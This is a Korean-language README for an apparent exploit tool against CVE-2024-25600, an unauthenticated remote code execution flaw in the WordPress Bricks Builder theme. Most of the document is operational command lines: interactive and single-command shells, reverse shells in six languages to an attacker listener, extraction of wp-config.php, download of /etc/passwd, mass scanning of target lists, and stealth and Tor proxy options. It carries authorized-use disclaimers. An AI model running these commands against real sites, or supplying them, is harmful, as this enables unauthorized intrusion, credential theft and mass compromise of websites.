[!IMPORTANT]
승인된 용도로만 사용하십시오. 이 도구는 보안 연구, 교육, 그리고 귀하가 소유하거나 명시적 서면 허가를 받은 시스템에 대한 테스트를 위한 것입니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 저자는 오용에 대해 어떠한 책임도 지지 않습니다.
목차
개요
CVE-2024-25600은 WordPress Bricks Builder 테마에서 발견된 중대한, 인증되지 않은 원격 코드 실행 취약점입니다. render_element REST 엔드포인트에서 사용자 제어 입력을 부적절하게 처리하여 인증되지 않은 공격자가 영향을 받는 설치 환경에서 임의의 PHP/시스템 명령을 실행할 수 있습니다.
BricksRCE 익스플로이러 (cve-2024-25600.py)는 승인된 보안 전문가를 위한 완전한 기능의 Python 평가 도구로, 다음을 수행할 수 있습니다:
- 취약한 Bricks Builder 설치 탐지
- 통제된 명령 실행을 통한 영향 검증
- 대화형 셸을 통한 피해 호스트와의 상호 작용
- 비동기/스레드 워커를 사용한 대상 목록 대량 스캔
- 보고를 위한 구조화된 결과 내보내기
취약점 세부 사항
영향을 받는 엔드포인트
| 엔드포인트 | 메서드 |
|---|
/wp-json/bricks/v1/render_element | POST |
/?rest_route=/bricks/v1/render_element | POST |
공격 요약
- 대상 페이지 소스에서 Bricks nonce 추출
- 악성 요소 페이로드가 포함된 조작된
render_element 요청 제출
- 서버 측 코드 평가로 인한 임의 명령 실행
참고 자료
기능
핵심 기능
운영 제어
보고
| 기능 | 설명 |
|---|
| JSON/TXT 내보내기 | 스캔 결과 및 취약한 대상 저장 |
| 명령 기록 | 실행된 명령의 선택적 로깅 |
| 파일 로깅 | 지속적인 bricks_rce.log 및 사용자 지정 로그 경로 |
설치
전제 조건
- Python 3.8+
pip
- 승인된 대상에 대한 네트워크 연결 가능
설정
git clone https://github.com/CerberusMrXi/WP-Bricks-Exploit-CVE-2024-25600.git
cd WP-Bricks-Exploit-CVE-2024-25600
python3 -m venv venv
source venv/bin/activate # Windows: venv\Scripts\activate
pip install -r requirements.txt
python3 cve-2024-25600.py --help
종속성
requests>=2.31.0
aiohttp>=3.9.0
beautifulsoup4>=4.12.0
lxml>=4.9.0
prompt-toolkit>=3.0.0
rich>=13.7.0
pysocks>=1.7.0 # optional — SOCKS5 proxy support
빠른 시작
https://target.example를 실습용 또는 승인된 대상으로만 교체하십시오.
# 대화형 셸
python3 cve-2024-25600.py -u https://target.example
# 단일 명령
python3 cve-2024-25600.py -u https://target.example --cmd "id"
# 대량 스캔
python3 cve-2024-25600.py -f targets.txt -t 20 -o results.json
# 버전 탐지
python3 cve-2024-25600.py -u https://target.example --detect-version
# Burp 프록시를 통한 스캔
python3 cve-2024-25600.py -u https://target.example --proxy http://127.0.0.1:8080 -v
사용 가이드
모든 예제는 메인 스크립트 **cve-2024-25600.py**를 사용합니다.
1. 도움말 보기
python3 cve-2024-25600.py --help
2. 단일 대상 대화형 셸
대상이 취약한 것으로 확인된 후 대화형 RCE 셸을 엽니다.
python3 cve-2024-25600.py -u https://target.example
워크플로:
- URL 정규화 및 검증
- 페이지에서 nonce 추출
- 취약점 확인 (
--force가 아닌 경우)
- 대화형 셸 진입
3. 단일 명령 실행
python3 cve-2024-25600.py -u https://target.example --cmd "whoami"
명령 출력을 파일에 저장:
python3 cve-2024-25600.py -u https://target.example --cmd "id" --save-output
4. 페이로드 유형 선택
# 기본 PHP 예외 기반 페이로드
python3 cve-2024-25600.py -u https://target.example --cmd "uname -a" --payload php
# system() 기반 페이로드
python3 cve-2024-25600.py -u https://target.example --cmd "uname -a" --payload system
5. Bricks Builder 버전 탐지
python3 cve-2024-25600.py -u https://target.example --detect-version
명령과 결합:
python3 cve-2024-25600.py -u https://target.example --detect-version --cmd "id"
6. wp-config.php 추출
python3 cve-2024-25600.py -u https://target.example --extract-wp-config
성공 시 wp-config_<target>.txt로 저장됩니다.
7. 리버스 셸 (승인된 실습 환경에서만)
# 터미널 1 — 리스너
nc -lvnp 4444
# 터미널 2 — bash 리버스 셸
python3 cve-2024-25600.py -u https://target.example \
--reverse-shell bash \
--lhost 10.0.0.5 \
--lport 4444
지원되는 모든 리버스 셸 유형:
python3 cve-2024-25600.py -u https://target.example --reverse-shell bash --lhost 10.0.0.5 --lport 4444
python3 cve-2024-25600.py -u https://target.example --reverse-shell nc --lhost 10.0.0.5 --lport 4444
python3 cve-2024-25600.py -u https://target.example --reverse-shell python --lhost 10.0.0.5 --lport 4444
python3 cve-2024-25600.py -u https://target.example --reverse-shell php --lhost 10.0.0.5 --lport 4444
python3 cve-2024-25600.py -u https://target.example --reverse-shell perl --lhost 10.0.0.5 --lport 4444
python3 cve-2024-25600.py -u https://target.example --reverse-shell ruby --lhost 10.0.0.5 --lport 4444
8. 강제 모드 (취약점 검사 건너뛰기)
python3 cve-2024-25600.py -u https://target.example --force --cmd "uname -a"
9. 파일에서 대량 스캔
# targets.txt — 한 줄에 하나의 URL
python3 cve-2024-25600.py -f targets.txt
스레드, 지연, 스텔스 및 JSON 출력과 함께:
python3 cve-2024-25600.py -f targets.txt \
-t 15 \
--delay 0.5 \
--stealth \
-o vulnerable.json
async 대신 동기(스레드 풀) 스캔:
python3 cve-2024-25600.py -f targets.txt --sync -t 10 -o results.txt
조용한 대량 스캔:
python3 cve-2024-25600.py -f targets.txt -q -o results.json
10. 엔드포인트 선택
# 두 엔드포인트 모두 (기본값)
python3 cve-2024-25600.py -u https://target.example --endpoint both
# /wp-json/bricks/v1/render_element만
python3 cve-2024-25600.py -u https://target.example --endpoint json
# /?rest_route=/bricks/v1/render_element만
python3 cve-2024-25600.py -u https://target.example --endpoint rest_route
11. 스텔스 모드
python3 cve-2024-25600.py -u https://target.example \
--stealth \
--delay 1.0 \
--max-retries 5 \
--timeout 20
12. 사용자 지정 User-Agent
# 사용자 지정 UA
python3 cve-2024-25600.py -u https://target.example \
--user-agent "Mozilla/5.0 (compatible; SecurityScanner/1.0)"
# 무작위 UA 회전 비활성화
python3 cve-2024-25600.py -u https://target.example --no-random-ua
13. 프록시 지원
# HTTP 프록시 (예: Burp Suite)
python3 cve-2024-25600.py -u https://target.example --proxy http://127.0.0.1:8080 -v
# SOCKS5 프록시
python3 cve-2024-25600.py -u https://target.example --proxy socks5://127.0.0.1:9050
# SOCKS5h (프록시/Tor를 통한 DNS)
python3 cve-2024-25600.py -u https://target.example --proxy socks5h://127.0.0.1:9050
14. SSL 검증
# SSL 인증서 검증 활성화 (기본적으로 비활성화됨)
python3 cve-2024-25600.py -u https://target.example --verify-ssl
15. 출력 및 로깅
# 스캔 결과를 JSON으로 저장
python3 cve-2024-25600.py -f targets.txt -o results.json
# 스캔 결과를 TXT로 저장
python3 cve-2024-25600.py -f targets.txt -o results.txt
# 사용자 지정 애플리케이션 로그 파일
python3 cve-2024-25600.py -u https://target.example --log-file assessment.log -v
# 실행된 명령 로깅
python3 cve-2024-25600.py -u https://target.example --command-log commands.log --cmd "id"
16. 자세한 정보 표시 및 조용한 모드
# 자세한 정보 / 디버그 로깅
python3 cve-2024-25600.py -u https://target.example -v
# 조용한 모드 (최소 출력)
python3 cve-2024-25600.py -u https://target.example -q --cmd "id"
17. 성능 조정
python3 cve-2024-25600.py -f targets.txt \
-t 25 \
--timeout 20 \
--delay 0.2 \
--max-retries 5 \
-o results.json
18. 전체 평가 결합 예제
python3 cve-2024-25600.py -u https://target.example \
--detect-version \
--extract-wp-config \
--stealth \
--delay 0.8 \
--timeout 20 \
--max-retries 5 \
--endpoint both \
--proxy http://127.0.0.1:8080 \
--log-file bricks_assessment.log \
--command-log commands.log \
-v
19. 대화형 셸 내장 명령
-u ( --cmd / --reverse-shell 없이)로 시작한 후:
Shell> whoami
Shell> id
Shell> pwd
Shell> ls -la
Shell> help
Shell> clear
Shell> download /etc/passwd
Shell> upload ./local.txt /tmp/remote.txt
Shell> php id
Shell> system uname -a
Shell> exit
명령어 참조
대상 옵션
| 인자 | 설명 |
|---|
-u, --url | 단일 대상 URL |
-f, --file | 대상 URL 목록이 포함된 파일 (한 줄에 하나씩) |
스캔 옵션
스텔스 옵션
익스플로잇 옵션
출력 옵션
대화형 셸
--cmd 또는 --reverse-shell 없이 단일 대상을 익스플로잇할 때 대화형 셸이 열립니다:
Shell> whoami
www-data
Shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Shell> help
내장 명령
기능
- 명령 기록이
~/.bricks_rce_history에 저장됨
- 일반적인 명령에 대한 자동 완성
- 기록 기반 자동 제안 (prompt-toolkit)
출력 및 로깅
콘솔
Rich 기반 패널, 진행 표시줄 및 결과 테이블:
[*] 테스트 중: https://target.example
[+] https://target.example 취약함!
[+] 대화형 셸이 성공적으로 열렸습니다
스캔 결과 테이블
JSON 내보내기 (-o results.json)
{
"timestamp": "2026-07-17T01:30:00",
"version": "1.0.0",
"config": {
"threads": 10,
"timeout": 15,
"delay": 0.5
},
"stats": {
"processed": 100,
"vulnerable": 3,
"failed": 97
},
"vulnerable_targets": [
{
"url": "https://target.example",
"timestamp": "2026-07-17T01:31:12"
}
]
}
로그 파일
| 파일 | 목적 |
|---|
bricks_rce.log | 기본 추가 전용 애플리케이션 로그 |
--log-file PATH | 추가 사용자 지정 로그 핸들러 |
--command-log PATH | 실행된 명령 감사 추적 |
문제 해결
디버그 워크플로
# 자세한 정보 단일 대상 확인
python3 cve-2024-25600.py -u https://target.example --detect-version -v
# 요청 검사를 위해 Burp를 통한 스캔
python3 cve-2024-25600.py -u https://target.example \
--proxy http://127.0.0.1:8080 -v --cmd "id"
# 특정 엔드포인트 선호
python3 cve-2024-25600.py -u https://target.example --endpoint json -v
저장소 구조
exploit/
├── cve-2024-25600.py # BricksRCE Exploiter (v1.0)
├── requirements.txt # Python dependencies
├── README.md # This file
├── bricks_rce.log # Runtime log (generated)
└── venv/ # Local virtualenv (optional, not committed)
버전 이력
v1.0.0 — 초기 릴리스
- CVE-2024-25600에 대한 인증되지 않은 RCE 탐지 및 익스플로잇
- 다중 방식 nonce 추출
- 업로드/다운로드 기능을 갖춘 대화형 셸
- 단일 명령 및 리버스 셸 모드
- 비동기/스레드 대량 스캔
- 버전 탐지 및 wp-config 추출
- 스텔스 모드, UA 회전, 프록시 지원
- JSON/TXT 결과 내보내기가 포함된 풍부한 CLI
면책 조항
이 프로젝트는 있는 그대로 제공되며 방어적 보안 연구 및 승인된 침투 테스트를 위한 것입니다.
이 소프트웨어를 사용함으로써 귀하는 다음 사항에 동의합니다:
- 귀하가 소유하거나 명시적으로 테스트할 권한이 있는 시스템만 대상으로 합니다.
- 관련 컴퓨터 남용 및 데이터 보호 법률을 이해합니다.
- 저자 및 기여자는 오용으로 인한 손해, 데이터 손실 또는 법적 결과에 대해 책임을 지지 않습니다.
만약 귀하가 소유하지 않은 프로덕션 환경에서 이 취약점을 발견한 경우, 책임 있는 공개 절차를 따르고 사이트 소유자/Bricks Builder 보안 팀과 협력하십시오.
컴퓨터 시스템에 대한 무단 접근은 중대 범죄입니다.
저자 및 크레딧
라이선스
MIT License
Copyright (c) 2024–2026 Sudeepa Wanigarathna
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
지원
- 승인된 연구에 도움이 된다면 저장소에 스타를 눌러주세요
- 버그, 오탐지 또는 탐지 개선을 위해 이슈를 열어주세요
- 문서화 및 승인된 실습 UX 개선을 위한 풀 리퀘스트를 환영합니다